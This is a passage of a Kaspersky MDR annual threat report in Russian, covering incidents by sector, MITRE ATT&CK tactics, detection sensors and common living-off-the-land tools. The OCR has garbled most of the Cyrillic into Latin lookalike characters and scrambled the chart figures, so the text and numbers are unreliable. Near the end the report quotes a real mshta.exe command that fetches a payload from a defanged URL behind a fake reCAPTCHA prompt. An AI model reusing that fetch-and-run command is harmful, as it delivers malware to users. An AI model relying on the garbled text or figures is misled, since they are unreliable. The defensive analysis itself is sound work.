y KaXkgoro 4etBepToro knmeHTta. OHm cocTtaBunm 6onee 43% BCEX MHUNOEHTOB BbICOKOIO YPOBHS
KPUTUYHOCTW. ATaku C y4aCTEM YEeNOBEKA, MOATBEPXKAEHHBIE KIIMEHTaMM KaK KNBEepyUEHNs, COCTaBUIA
6onee 17% NHUMAEHTOB U 3adUKCpoBaHbl Y 17% knneHToB. Okono 12% NHUMOEHTOB Bbi CBA3aHbI

C CEepbEe3HbBIMU HaPYLLEHNSMW NONNTUKN 6E30MacHOCTN, O KOTOPbLIX CoOobLMNM 6onee 18% KoMnaHWui.
VHUMOeHTbl, cBsI3aHHbIE C BpeOOHOCHbIM 10, 3aHaNM TpeTbe MecTo — CBbille 12% TaknxX NMHUUAEHTOB
3adumkcmpoBaHsbl B 16% KNMEHTOB.

Bonee 8% MHUMOEHTOB Kacanncb 06HapyXeHns apTedakTOB NPOLUSbIX aTak, yNpaBaseMblX YENOBEKOM,

Y>K€ HE aKTUBHbIX HA MOMEHT AETEKTUPOBAHNS, 3aTPOHYB 10% KNMEHTOB. XOTS MOUCK YI3BMMOCTEN

He 9BNgeTCa OCHOBHOW 3agayveit MDR, TeXHMYeCcKe BO3MOXHOCTM A5 3TOro umetoTcs — 6onee 1% Takmx
VHUWAEHTOB BbICOKOW KPUTUYHOCTW Bbl/IV BbISBNEHbI MEHEE YeM Y 3% KNTMEHTOB. [10A03pUTENbHbIE AECTBUS
OT NIEMMTUMHbIX YYETHbIX 3anucer 6e3 cnegos Nx KOMNPOMETaLMM KNacCUOUUMPYOTCS MO YMOMYaHNIO

KaK HapyLUEeHMs NONNTUKK 6e30macHOCTU. ECnn KNMeHT NOATBEePXAAET UX 3TOHAMEPEHHOCTb, HLMAEHT
nepeknaccndnumpyeTcs, kak 4ENCTBUG BHY TDEHHEIO HAPYLUNTENS. DTOT PenKunin CLEeHapuii COCTaBuU MEHEE
1% KPUTUYHBIX UHUWOEHTOB B MEHee YeM 2% UHDPacTPYKTYP.
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KonnyecTBo MHUMAEHTOB BbICOKOW KPUTUYHOCTU

Mo oTpacnam

I'pacbl/lK HWXe OTO6pa)KaeT pacnpenenenne KpUTUNYHbIX MHUMOEHTOB N UX >XXKEPTB Mo Tunam NHUMNaeHToB

N CeKkTopaM 3KOHOMUKN.

{ Auarpamvia 12 ] KonnyecTBo KPUTUYHBIX MHLUMOEHTOB MO TUMY 1 NHLYCTPUN

1,75%

Lo

- @

2 an

2,27%

0.17%

3,85%

0,87%

0.87%

4,90%

2,80%

Ctpoun- O6paso- DurHaHCHI Muwesas loc. 30paBo- nT- MpomblLun. CcMA PosHunyHas Tenekom TpaHcnopT [pyroe
TENbCTBO BaHne NMPOMBILLN-Tb cekTop OXpaHeHMe  KOMMaHuM  npennp-us Toprosns

LleneBble aTakun KnéepyyeHus BpenoHocHoe NO HapyweHune ApTedakTbl CoupanbHas
NOAUTUKMN LileneBbIx aTak VIHXEHepus
BesonacHocTn

KpuTtunuHble BHyTpeHHuI ATaku Ha oTka3

YS3BUMOCTU HapyLlwnTenb B O6CY>XXMBaHNN

V13 cTaTUCTUKN MOXHO caenatb cnepyroLuine sbiBOAbI:

LleneBble aTaku ynpaBnsemMble YenoBekoM Habnoganch
BO BCEX CeKTopax, Kpome Tenekoma. Jinampytot NT-komnaHum
nrocyypexaeHns — 14,7% 1 13,8 % COOTBETCTBEHHO.

B mpombILNeHHOM CEKTOPE, 3aHABLLEM TPETbE MECTO

no O6LLEMY KONMMYECTBY NHLMOEHTOB BEICOKOW KPUTUYHOCTW,
Bbinv 3adrKCUPOBaHbI BCE TUMbI MHLUMAEHTOB. Cpeam HX
0,17% cocTaBunmn obHapy>xeHHble DoS-aTaku.

DrHAHCOBbIV CEKTOP 3aHs YeTBEPTOE MECTO MO ObLLEMY
KONMYECTBY NHUMAEHTOB BbICOKOW KPUTUYHOCTW, 30ECH TakXe
Habnofancb BCe TUMbl KPUTUYHBIX MHLUUOEHTOB.

- AHanna 3alUyLLEHHOCTU 1 KNBEpPYYEHNS OCTaOTCS MOMYySPHO
MPaKTVKOW, N NHUMAEHTbLI 9TOro Tna Habntodanuch BO BCEX
ceKkTopax aKOHOMUKM, KpoMe 06pasoBaHis 1 3APaBOOXPaHEHNS.

- VIHUMAEHTbI BbICOKOW KPUTUYHOCTN, CBA3aHHbBIE C BPEeAOHOCHbLIM 10,
B OCHOBHOM Habntoaanch B GUHaHCOBOM (2,6%), MPOMBILLIEHHOM
(2,3%) n NT-cexkTopax (1,6%).

NHUMOEeHTbI, CBA3aHHble C apTedakTamu LieneBblx atak,
NMOBTOPSIOT PacrnpeaeneHie akTUBHbIX aTak, ynpaBnseMbix
4enoBeKOM. B CTponTensHOM oTpacnv 1 06pasoBaHuv BbigBNEHbI
aKTVBHblE LieneBble aTaku, Ho apTedaKkTbl LieneBbix atak He bbinin
3adUKCNPOBaHbI.

CepbesHble HapyLLEHNS MONUTUK 6€30MacHOCTY 3aMeYeHbl

BO BCEX OTpacnsx, kpome obpasoBaHus 1 CMW. bonblue Bcero —

B T (2,8%), n(poMbILLneHHOCTU (2,3%) 1 duHaHcoBow otpacau (1,6%).
[lencTBYS BHY TPEHHEr O HapyLLUTENs Habntoaanch B PUHaHCOBOM
roCyOapCTBEHHOM CEKTOPE, MPOMbILLNEHHOCTI 1 MULLEBOW OTPACN.

YcneLuHble ataky C MPUMEHEHNEM COLMAsbHOW NHXEHEPUM
Ha LuecToM MecTe. bonblue BCero Takm atakam nogseprimch
NPOMbILLNEHHOCTb (1,2%) n roccekTop (1,1%).

VHUMOEHTbI, CBA3aHHbIE C KPUTUYHBIMU YSI3BUIMOCTSIMY,
bUKCMPOBaNMCh Ha MPOMBILLIEHHbIX MPEANPUATHSX, B TPAHCTOPTHbIX
KOMMaHWsiX, B NMULLEBOW OTPACV 1 34PaBOOXPaHEHIIN.
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OpraHnsauuu, rae Habnoganncb MHUNAEHTbI BbICOKOM
KPUTUYHOCTW, MO OTPAC/SaM

[Paduk HMXKE Noka3biBaeT NPoLEHT knneHToB Kaspersky MDR ¢ MHLUMAEHTaMU BbICOKOW KPUTUYHOCTN,
pacnpeneneHHbIr No oTpacnsam. OTOT rpaduvik NoneseH ong aHanmaa ooLen KapTyHbI MO BCEM KTMEHTaM.

( Nuarpania 13 ] KonnyecTtBo knneHToB MDR, CTONKHYBLUMXCS C KPUTUYHBIMU
MHUMAEHTaMW, MO OTpacsismM

o
214%

10,71%

Ctpoun- Obpaszo- DuHaHChI MNuwesas loc. 3npaso- nT- MpombiLun. CMKn PosHuyHas Tenexkom TpaHcnopT Lpyroe
TenbCTBO BaHve MPOMBILN-Tb CeKTop OoXpaHeHre KOMMaHun npennp-nga TOproens
LleneBble aTaku KnéepyueHus BpenoHocHoe N0 HapylweHne ApTedakTbl CoupanbHas
NOANTNKMN LleneBblx aTak VHXeHepus
BesonacHocTn
KpuTtnyHble BHyTpeHHun ATakn Ha oTKa3
YS3BUMOCTH HapyLwmnTens B 06CNyXMBaHWN

B mononHeHwe K npeacTaBneHHbIM paHee HabatoaeHaM, U3 rpadrika MOXHO caenaTh ClenyoLe BbiBoabl:

- VIHUMOEHTHI BbICOKOV KPUTUYHOCTW Habmtoaanch Bo BCEX - ATaku ¢ ncrnonbaoBaHneM BpeaoHocHoro MO vallle Bcero
OTpacngx. Habntogannch B KOMMaHWsIX NPOMbILLIEHHOrO (6,4%)

1 drHaHcoBoro (5,7%) CEKTOPOB.
- Yalle Bcero ataku, ynpaBngemble YeNOBEKOM, 3aTparmsant

KOMMaHUM N3 NPOMBILLAEHHOO (9,3%) 1 FOCYAapPCTBEHHOMO - bonblule Bcero MHUMOEHTOB, CBA3aHHbBIX C KMBERYYEHNSMU,
(10,7%) cCekTOpOB. MPOV3OLLNIO B GUHAHCOBOM (8,6%) 1 MPOMbILLIEHHOM (7,1%)

ceKkTopax.
- HapylieHvst nonmTrk 6e30nmacHOCTY Ha BTOPOM MecTe

MO YNCITY 3aTPOHY ThIX OpraHu3aLunii. Takne NHUMAEHTHI
HabnOaNNCh NPaKTUYECKN Be3ae, HO NManpytoT — UT (7,9%),
MPOMBILLNEHHOCTb (7,1%) 1 drHaHCOBLI cekTop (5,7%).
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YTOBbI CPaBHUTL YNCIIO aTakOBaHHbIX OPraHM3aLuii Mo OTPACNSM, PaCCMOTPVM CeayoLni rpaduik.
MPOLEHTHbIE 3HAYEHMSI OTPAaXXatoT [OSO OPraHN3aLMiA C COOTBETCTBYIOLLMM TUMOM MHUMAEHTa OT O6Lero

yncna Opr&HI/ISGLI,I/IVI B AAHHOM oTpacnu.

( [narpana 14 ] KonnyecTBo aTakoBaHHbIX OpraH13auuii BHY TPy CeKTopa

13,6%

16,7%

0
25.0% 16,7%

100,0%

9
75.0% 83,3%

50,0%

Ctpoun- Obpaszo- DuHaHChI MNuwesas loc. 3npaso- nT-
TenbCTBO BaHve MPOMBILWN-Tb CeKTop OoXpaHeHre KOMMaHun
LleneBble aTakun KnéepyyeHus BpenoHocHoe NO
KpuTtnuble BHyTperHun ATaku Ha oTKa3
YS3BUMOCTH HapyLmTenb B 06CNy>XMBaHWN

KnioueBble MOMEHTLI U3 3TOro rpaduka:

B cekTope 06pa3oBaHNs eAMHCTBEHHbBIM TUMOM UHLOEHTOB
BbICOKOW KPUTUYHOCTW BbINM aTaky ynpasnsemble
yenosekoM. LieneBsble aTaky Bblv 3aperncTprpoBaHbl

B 83% rocyupexneHun, 75% opraHnsaLmin B TPaHCNOPTHOM
1 MULLLEBOM CEKTOPAX, @ Tak>XXe B MOMOBMHE OpraHn3aL/i

B chepax CTPOUTENbCTBA, 34PaBOOXPAHEHS Y POSHUYHON
TOProsnu.

HapyLieHns nonmTunk 6e3onacHOCTY 6bim
3aperncTprpoOBaHbl BO BCEX OpPraHmn3aumsx
TENEKOMMYHVIKaLLMOHHOro cekTopa v B 79% W T-opraHnaaLmii.

DoS-aTaku 61 3apercTPUPOBaHbI B MOOBUHE
OpPraHnaaLmii MPOMBbILLIEHHOTO CeKTopa.

28,6%

34.5%

44,8% 50.0%

- KnbepyueHus 6bii1 0cobeHHo pacnpocTpaHeHsl B8 CMIA
(OBe TpeTu opraHn3auuin), driHaHcoBom cekTope (55%)
1 CTPOUTESbHbIX KOMMNaHnsx (50%).

- Cnefbl NpoLUbIX aTak ynpaBaseMblX YeNOBEKOM Bbinin
OBHapyeHbl B 32% GUHAHCOBBIX OpraHn3aumi, TpeTu
npeanpuaTuii CMIN n yeTBepTy OpraHM3aLmnii MMLWeBo
MPOMBILLAEHHOCTW 1 TPaHCMHopTa.

- YcreluHble aTaky C UCMONb30BaHNEM COLMaNbHOM
VIHXXEHEPWI 3aTPOHY N MOMOBUHY CTPOUTENbHbIX
opraHunsaunin, TpeTb npeanpuatin CMN n yetTBepTb
TPaHCMOPTHbIX OPraHN3aLui.

19

125%

MpombiLun. CMKn PosHuyHas Tenekom TpaHcnopT [pyroe
npeanp-na TOProBns
HapylweHne ApTedakTbl CoupanbHas
NOAUTUKMN LieneBbIx aTak VIHXEHepus
6e30MnacHoOCTU
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TexHonornnm obHapy>XeHus.
TaKTUKWN, TEXHNK 1 NpoLenyps.l
3/10YMbILLSIEHHNKOB

Kaspersky MDR nosBonsieT obHapy>X1BaTb MHUVAEHThI Ha PasHbIX aTarnax pa3suTus ataku. OBbIMHO
©ObLUNHCTBO NHUMOEHTOB NPOXOAUT Yepesd Bce ctaaum (TakTnkn MITRE ATT&CK®), Ho Ha anarpamMmme Huxxe
OTOBpaXkeHa Hanbonee paHHAs TakTVKa, COOTBETCTBYIOLL,ASA COBBLITUSM 6€30MaCcHOCTW, aCCOLNNPOBaHHbIM
C HUNAEHTOM.

{ [arpauma 15 ] TakTukun aTakyowmx

PES;@ 010% 2.29% 0,24%
TG 0.83% 7.73% 2,03%
MonroToBka k atake
TAOOOT:
lNepBOHaYanbHbIA 0,51% 30,25% 249%
noctyn
Bblngﬁl-?eoH(\)/lze: 142% 9,06% 3.75%
A0S 056%  373% 7.73%
3Bakpennenne
TAOO0O4:
[oBbileHve 0.37% 434% 0,70%
npUBUNErni
AT 0,08% 134% 0,75%
O6xopa, 3aLUnThI
TAOOO6:
JocTynK y4eTHbIM 0.27% 426% 125%
3anmcsam
0,07%0,31%
TAOOO7: -
C60p VHboPMaLMY 0,14%
TAOO0O08:
[opu3oHTanbHble 0,07% 7,53% 0,36%
nepeMeLleHnsa
0,02% 0.02%
TAOOO09: | 4 0,02% _
3axsaT AaHHbIX V
Bbicokui
TAOOTT:
YnpaeneHue n 0,05% 3,80% 0,98%
TAOOIO: 0.05% CpepHui
SkchunsTpaums ittt
003% [
TAQO40: i)

Yiep6 s 0.07% Huskuin
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OCHOBHbIE TaKTUKW, C MOMOLLBIO KOTOPbIX Mbl OGH&pY)KVIBaeM NHUMNOEHTDbI:

TAOO43:
PasBepnka

VIHUMOEHTBI, BbISBIEHHBLIE HA 9TOM STane, rMaBHbIM o6pa30M OTHOCATCY K PasiMyHoOro
poOa CKkaHnpoBaHMAM, a KOUTUYHOCTb MHLUWOEHTOB KOPPENNPYET C rnpennosiaraeMbiMn
Lensgmu ckaHpoBaHug. VIHUMOEHTbI BbICOKOW KPUTUYHOCTWU 06bI4YHO CBA3aHDI

C ycrelHbiM q)I/ILLIVIHI'OM, npveeawnm K ﬂ,aﬂbHeVlLLlel\/Iy Pas3BUTNIO aTaku. VIHUMOEHTHI,
CBS3aHHbIE C N3BECTHBIMY APT-KamMnaHusamMum, Takxe O6Hapy>KVIBaJ'II/ICb Ha 9TOM 3aTare.

TAO042:
NoaroToBKa K aTake

NHUMAEHTbI, OTHECEHHBIE K 3TOW TaKTVKE, B OCHOBHOM CBS3aHbl C OBHapYXeHNEM
TOrO UAN NHOTO BPEAOHOCHOIO U HexenaTenbHoro MO, KoTopoe BNocneacTaum
MOT/10 6bl BbITb UCMOBE30BAHO MPW Pa3BUTUN aTakn. KpUTUYHOCTb MHLMAEHTOB
onpenenseTcs onacHOCTbIO OB6HAPY KEHHbIX HCTPYMEHTOB.

TAOOOT:
MepBoOHa4anbHbIN
AOCTYN

MopasnstolLee GONbLUMHCTBO VHLMAEHTOB, BbIGBNEHHbLIX HA 9TOM 3Tarne, OTHOCATCS

K GULLMHFOBEIMY pacchlikamu, KnaccudULMPOBaHHBIMM Kak UHLUMAEHTb cpeaHein
KPUTUYHOCTI 1 COAEPXKALLMYI PA3SINYHBIE TUMbI BPEAOHOCHbBIX O6bEKTOB.

K MHLMAEHTaM BbICOKOW KPUTUYHOCTM OTHOCSTCS YCMELLHbIE aTaky C MCMOMb30BaHVEM
CoLManbHOM NHXEHEP U, KOMAIPOMETALMIO YAANEHHbBIX CEPBMCOB, MPUBOOSLLYIO

K DanbHelLeMy pasBUTUIO aTakiy, U aKTUBHOCTb, YCMELHO aTprby TUPOBaHHYO

K N3BECTHBIM LieneBbiM aTakam. VIHLMAEHTbI HU3KOW KPUTUYHOCTU OBbIMHO
NMPEACTaBAFOT COBOM YCMELUHbIE MOMbITKM GULLNHIE, HO KOTOPbIE HE MPUBENN K KaK M-
NGO NOCNEACTBUSIM 113-3a YCMELIHOrO aBTOMaTUYECKOro NPenoTBpaLLEHNS.

TAOOO2:
BbinonHeHmne

Han6onbluee KonMuyecTBO KPUTUYHBIX MHLMAEHTOB BbISBASAETCS Ha 9TOM aTarne,
MOCKOMbKY 3amnyck Creumann3nupoBaHHbIX MHCTPYMEHTOB AN MPOBEAEHWS aTaK —
LyMHas onepaLus. B obuiem cryyae KpUTUYHOCTb UHLIMAEHTa Ha 9TOM aTane
onpeaenseTcs no knaccrdrkaLmm 3anyckaeMmoro obbekTa.

TAOOOQ3:
3akpenneHne

NHUMAEHTbI Ha 9TOM 3Tane BKYaoT NOAMEHY VHCTPYMEHTOB CreLmasbHbIX
BO3MOXHOCTel Windows, 06Hapy>XeH1e Noao3puTenbHbIX / Hebe3omnacHbIX
KOHPUrypaLmii CETEBBIX PECYPCOB, BY TKUTHI. BbICOKW YPOBEHb KPUTUYHOCTHN
npuYcBanBaeTCs, Koraa HabMtoAaTCH SIBHbIE MOATBEPX AEHUS aK TVBHOIO y4acTus
yenoseka. VIHLMAEHTLI CPeaHEN N HN3KOM KPUTUYHOCTI PErUCTPUPYIOTCS Ha OCHOBE
NMOTEHLMaNbHOro BANSHUS Ha MHDPaCTPYKTYpPY 3akasuvika. BombLUMHCTBO MHLMAEHTOB
HN3KOW KPUTUYHOCTU 30ECh CBA3aHbl C MaHUMYISLMEN yYETHBIMU 3aMNUCIMMU,
HanpuMep, BKIIIOUEHME NOKabHbIX aAMUHUCTPATUBHBIX U FOCTEBbIX akKayHTOB.

TAOOO4:
lNoBblWwEeHne
npueunerni

MNonasnstoLlee 6OMbLUNMHCTBO MHUMOEHTOB, Y KOTOPBIX AaHHas TakTvika 6blna camol
paHHen, — [obaBneHne yYeTHOWM 3anncuy B pasnnyHble NMpUBUIErpPOBaHHbIE FpyMMb
Trna Domain Admins, Enterprise Admins. Tak>xe ctofa nonagatoT NHLNOEHTbI,
CBS13aHHbIE C UCMOMb30BaHNEM CNELMANN3NPOBaHHBIX NHCTPYMEHTOB A9 MOBbLILLEHS
NPUBUAETIN, OBHaPYXXMBaEMbIX KaK B BUAE OTAENbHbIX GaiiioB 1 MPOLLECCOB, Tak 1 yXe
3arpy>XeHHbIMU B cUCTEMHYO NamsTb OC. Pasaen TakXe oxBaTblBaeT 06HapyXeHne
YSI3BUMbIX ApaliBepoB, uameHeHue koHourypaumin Windows UAC niv nonbiTK O60NTW
UAC.

TAOOOb:
O6xopn, 3awmnThl

2 Living Off The Land Binaries, Scripts and Libraries

Ha aTom aTane purkcnpyeTcs OTHOCUTENBHO HEGOMBLLION MPOLIEHT NHLIMOEHTOB,

HO pasHoO0Bpasne ObHapyXMBaeMbIX AENCTBUN OBLUMPHO. MNprMepsbI

BKJIIOMAIOT: NOOO03PUTENbHBIE HACTPOMKM SPN Ha XOCTe, 3a4aun NNaHnpOoBLLMKA,
3aMacKMpOoBaHHbIe MoA NEernTUMHbIE HacTporky Windows, yaaneHve XypHanos
COBBITUI, USMEHEHVE HACTPOEK MPOBEPKN LIGPOBOM NOAMVCH OPaliBEPOB,
1cnonb3oBaHue pasnuyHbix LOLBINS™, monbiTku USMeHEHUS KOHOUrypaLmmn
BesonacHocTy OC 1 NCNonb3yeMblx COeACTB 3aLmThl. [1oNs NOXHbIX CpabaTbiBaHNiA
3[ECb HM3Kas, MOCKOSbKY OBHapPY>KEHHbIE TEXHUKU 1 TAKTUKW PeOKO KOPPENPYIOT

C NErUTVMHOWN @k TUBHOCTbIO.


https://lolbas-project.github.io/
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TAOOOQ6:
[JocTyn K y4eTHbIM
3anncsam

22

MopasnsioLiee 60MbLUMHCTBO MHLIMAEHTOB, CBA3aHHbIX C 3TON TakTUKOM,
npencTaBnsaoT cobOoM MOMbITKM AOCTYNa K namMsaTy npouecca LSASS, namnbl
KPUTUYECKIMX BaXHbIX pa3aenoB peecTpa, OBHapYy XeHWs pasanyHbIX TUMOB
Kelnnorrepos, NombITkM Noadopa napons. Kak 1 B npeaplayLiem ciydae, NoxHble
cpabaTblBaHWs 3€Cb BCTPEYaoTCS KpaliHe peako, 3a UCKIIOUYEHNEM OTAEbHbIX
NMOATBEPXAEHHbIX KNBEpyUEHNI.

TAOOO?7:
C60p nHpopmaumn

OBHapyXeHWe Ha 3TOM 3Tare CBA3aHO C 6OMbLUNM KOMMYECTBOM JIOXKHbBIX
cpabaTblBaHWii, MO3TOMY NLLIb HEGOMbLLAS YaCTb PENEBAHTHbIX HAMKATOPOB aTaku
NMPVIBOOUT K COBBITUAM Be3onacHOCTU. OBHapY>KEHHbIE MHLUMAEHTHI B OCHOBHOM
CB$13aHbl C Pa3NNYHBIMV TUMaMU CKAHUPOBaHWS BHY TPEHHWX CETEN, BbIIBIEHNEM
KoHUrypaunn Active Directory nnm ncnons3oBaHMeM cneuyanbHblX UHCTPYMEHTOB —
Hanpumep, Bloodhound®™.

TAOOOS:
[opu3oHTanbHbIE
nepemeLLeHns

Mockonbky y TAOOO8 HU3KNIN yPOBEHbB TOXHBIX CpabaTblBaHUI, OHa 4aeT NepCneKkTVBbI
LNs paspaboTkm HoBbIX [0A. B 2024 nogaBnstoLLee 60MbLUNHCTBO UHLMAEHTOB

BbINV CBA3aHbI C MOMbITKaMV YAaNEeHHOW SKCMyaTaLmnmy y93BUMOCTEN B ceTU. B 3Ty
KaTeropuio BXOAAT OBHapy>KeHVS aHOManniA, CBA3aHHbIX C MOA03PUTENbHBIMY BXO4AMU
B CETb C NCMOJIb30BaHNEM NETUTUMHBIX YYETHBIX AAHHbIX.

TAOO009:
3axBaT gaHHbIX

Habniopgaemas ak TUBHOCTb Ha 3TOM 3Tane OCHOBaHa Ha o6Hapy>KeH|/||/| crieumalnbHbIX
VHCTPYMEHTOB. YaCcTb MHLUMOEHTOB Bblna BblSBIEHa C MOMOLLbIO MEXaHU3MOB
o6Hapy>KeH|/|9| aHoManuin Ha OCHOBE MaLUMHHOIO O6yL'IeHVI9|.

TAOO10:
AkcounbTpaums

He60onbluoe KONMMYeCTBO UHLIMAEHTOB, AOCTUMLLMX STOW CTaaum, KpanHe CNOXHO
oTnnunTb oT TAOOT1, NoCKOMbKY Hanbosee PacnpPOCTPaHEHHbBIM CLIEHAPUEM IBNFETCS
T1041: SkchuneTpaLums yepes kaHan C2' ¢ nCnonb3oBaHNEM CTaHAAPTHbIX MPOTOKOMOB
NPVKIagHOro YPOBHS. VIHLMAEHTHI BbiN OTHECEHbI K 9TOW TakTuKe, a He k TAOOT],
TOMNBbKO NPV HANMYMM LOCTATOYHBIX OCHOBaHWIA, HANPUMEPR, MPY OBHaPY>KEeHWN
XapaKTePHOV KOMaHAHOWM CTPOKN.

TAOOT11:
YnpaBneHne n KOHTPOsb

MNopaBnstolLee 6OMbLIMHCTBO NHLMAEHTOB Ha STOM 3Tarne BblGBIEHO HA OCHOBE
naHHbIX Threat Intelligence (Tl) — oocTyn K Bpe4OHOCHOMY pecypcy. KpUTUYHOCTb
VHUMOEHTa ONpenenseTcs N3BeCTHbIM HasHaueHnem C2: ecnv OH cea3aH c APT,
VHUMOEHT KnaccuduLmpyeTcs Kak KpUTUYHBIA. Cloda e OTHOCUTCSA OBHapyXeHne
N3BECTHbIX PpeliMBopKoB C2, Takunx kak Cobalt Strike™, Sliver'®, MSF" 1 opyrux.

TAO0040:
Yiwep6

™ MITRE ATT&CK.
S0521BloodHound

4 MITRE ATT&CK.
T1041 Exfiltration
Over C2 Channel

Ha aTom aTane 60/blUNHCTBO HLUMOEHTOB BhISIBISETCS MOCPEACTBOM OBHapYKEHS
KOHKpEeTHOoro BpenoHocHoro IO, B cinyyasx, koroa 6onee paHHee pearpoBaHue 6bi1o
HEeBO3MOXHO. B 2024 rogy nogaensioLee 60/bLLIMHCTBO NHLMAEHTOB, AOCTUMLLNX
3TOW cTaaum, Gbinn CBA3aHbl IGO0 C OBHaPYXXEHNEM KPUNTOMaHEPOB, NGO

C MporpamMmMmamMmn-BeIMOraTensIMm.

" MITRE ATT&CK.
S0633 Sliver

5 MITRE ATT&CK.
S0154 Cobalt Strike

7 Metasploit
framework


https://attack.mitre.org/techniques/T1041/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/software/S0521/
https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0154/
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TakTUKW 1 TEXHONOMMN OBHaPYXKEHNS

B Kaspersky MDR ncnonb3sytoTcs pasinyHbie UICTOUHVKN TenemeTpumn: Endpoint Protection Platform (EPP),
Network Intrusion Detection System (NIDS) n Sandbox (SB). [locnegHue nBa ceHcopa gBAsatoTCS YaCThio
Kaspersky Anti Targeted Attack (KATA). B pamkax aHHOro oTyeTa BepavkTel ceTeBol IDS, asngioLencs
KOMMOHeEHTOM EPP, yunTbiBatoTcs kak cobbiTs EPP.

Bo MHOrmnx cnyyasx MHUMAEHTbI Bbl OBHAPYKEHbI HECKONbKMMW CEHCOPaMU, OAHAKO Ha anarpaMmve

HVXXE YUNTBIBAOTCS COBbITVA 6E€30MacHOCTU, KOTOPbIE OBHAPYXNBaIVCh NEPBLIMIU 1 UCTONIb30BaNNCh
aHanutukamm SOC gnsg dopMUpoBaHnNS NHUMAeHTAa. NMoaToMy npeobnagaHne NHLMOEHTOB, BbIBIEHHbIX
EPP, He o3HauaeT, YTO UYTO OHW HE MOT/IM BbITb Tak>Xe BbiiB/IEHBI C MOMOLLbtO IDS nnn Sandbox B cocTase
KATA. Bonee Toro, cTaTucTrka MHLMOEHTOB MOKa3bIBaET, YTO ceTeBas IDS npekpacHo gononHaeT EPP gaxke
B TEX CLIEHapUsX, rOe CPeacTBa 3allnTbl KOHEYHOM TOUKM Ka)Ky TCS Hanbonee oueBNOHbIM UHCTPYMEHTOM
ObHapy>eHus, Hanpumep, TAOO40: Yiwep6 nnn TAOOO6: JocTyn K yYeTHbIM 3anncam. Jonv MHUMAEHTOB,
0BHapY>XEeHHbIX PasIMYHbIMN CEHCOpPaMW, MPYBEAEHbI Ha AnarpaMme HXE.

[ [uarpania 16 ] KonnyecTBo MHUMAEHTOB, NEPBUYHO OBHaPY>KEHHbIX
MNCMNOMb3yeMbIMU CEHCOpaMM

EPP
NIDS
SB
0,05%
16,24%
0,06%
2,88% 8,24%
5,88% 6,04%

2,85%

TAO040: TAOO010: TAOOTT: TAO0O09: TAO0O08: TAOOOQ7: TAOO0O6: TAOOOS5: TAOO004: TAOOO03:  TAO0O02: TAOOOT: TA0042: TAO043:
Yiwep6 OkcounbT- YnpasneHne  3axBaT [OPU3OHT. C6op Hoctyn O6xon MoBblweHve 3akpenne- BoinonHe- [lepBoHad. [logrotoBka Passegka
pauus NKOHTPOMb  AaHHbIX nepeme-  UHGOPMa- K Yy4YETHbIM 3aWunTel  NpUBMNErui Hve Hve [ocTyn K aTake

LLEeHMS Ln 3anmMcsam

Beicokas adpdekTrBHOCTb SB ona atana TAOOO1: [NepBoHavanbHbI 4oCTYyrn 06ycnoBieHa NonynspHbIM
cueHapveM ncrnonb3oBaHus KATA onsg obHapy>keHUs GULLIMHIOBbBIX aTak Ha nepumeTpe ceT. CeteBad IDS
addekTmBHa ang TAOOT!: YnpasneHune n KOHTPOIIb, XOPOLLO OBHAPYXNBAET CETEBbIE CKaHMPOBaHWS, MO3TOMY
npucyTcTByeT Ha TAOO43: Paseepnka, TAOOOG: [locTyn K y4eTHbIM 3anucam 1 TAOOO7: C6op nHpopmaumn.
Ha stane TAOO40: Yiuepb obHapyXnBaeT BpeaoHocHoe N0 Ha ocHoBe Tpaduika C yoaneHHbIMU KOMaHLHbIMI
ueHTpamn. ObHapy>keHns C2 Takxxe obbsacHAOT npucyTcTeme IDS B TAOO42: [NoaroToBka Kk atake.

OT1 TAOOO2: BeinonHeHne go TAOOO6: locTyn K yYeTHbIM 3anucsam, 3awmTa knacca EPP aBnseTcs oCHOBHbIM
MEXaHN3MOM OBHapyXeHMs. HO MHCTPYMEHTbI aTaky C TUMNYHBIM CETEBbBIM TpadurKkom, ObHapyxmBaeT IDS.
Hanpumep, kpuntomariHepbl (TAO040: Yiwep6), nonbiTkn nogdopa napons (TAOO06: [ocTyn K yYeTHbIM
3anucsam) 1 NoNbITKW yoaneHHon akennyataumm cetesblx ceparucos (TAOOOT: MNepBoHavanbHbIA AOCTYM).

IDS B cocTaBe Kaspersky Endpoint Security (EPP) o6bscHSeT ee apPeKTUBHOCTb Ha aTanax, penieBaHTHbIX IDS
TAOO11: YnpaBneHue n koHTposb, TAOOOS8: lopnsoHTanbHble nepemelteHus n TAOO10: SkchunbTpaums.
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TexHnKn aTakyroLwmnx

NHCTPYMEHTbI, NPUMEHSIEMbIE B aTakax

310yMbILLNEHHWKN NCMONb3YIOT BCTPOEHHbIE MHCTPYMEHTbl OC, 4TOBbLI MUHUMU3NPOBAaTL PUCK OBHAPYKEHWS
BO BPEMS [OCTaBKM CBOVIX MHCTPYMEHTOB Ha B3/TOMaHHYO CUCTEMY.

[ Tabnuua 2 ] Hanbonee nonynsapHbie LOL-yTnnnThl n YacToTa
NX NCMONb30BaHUS

Bce vHUMpeHThbI KpuUTuyHble HUNOEHTbI
powershell.exe 1,64% 10,51%
rundli32.exe 0,81% 6,85%
comsves.dll 0,26% 3,82%
reg.exe 0,23% 2,07%
msiexec.exe 0,67% 1,59%
certutil.exe 0,15% 1,59%
mshta.exe 0,22% 1,43%
msbuild.exe 0,07% 1,27%
esentutl.exe 0,07% 1,27%

Hanbonee nonyngapHble LOL-y TUnnTbl, KOTOPblE HABAIOAANNCH NPAKTUYECKM B IIOOGOM MHUNOEHTE, 3TO
powershell.exe, rundll32.exe and reg.exe. NMpumepsbl ncnonb3oBaHng PowerShell.exe, rundll32.exe, reg.exe,
comsvcs.dll, msiexec.exe n certutil.exe yye 6bi1 NprBeaeHbl B OTYETE NPOLLIOro roga’.

Mshta.exe ncnonb3yeTcs Ans CKpbITOro BbiNONHEHNS BpeaoHOCcHOro N0, kak onucaHo B T1218.005: Mshta®.
BoT oguiH 13 pacnpocTpaHeHHbIx npumMmepoB 13 2024 rona:

( PucyHok 1 ] Mshta.exe 3arpy><aeT BpegOHOCHYIO Harpy3Ky

C:\WINDOWS\Explorer.EXE

->"C:\WINDOWS\system32\mshta.exe" hxxps://goatstufi .pro/sin| mp4 # "1 am not a robot - reCAPTCHA Verification ID: 21

3T0 BbINONHEHVE Mshta NprBOAMT K NocnenytowemMy 3anycky PowerShell, KoTopblli 3arpy3simi 1 BbINOHNI
BPELOHOCHYIO MONE3HYIO Harpy3ky2°.

8 Managed Detection and Response — 1 T1218.005: 20 Unmasking Lumma Stealer:
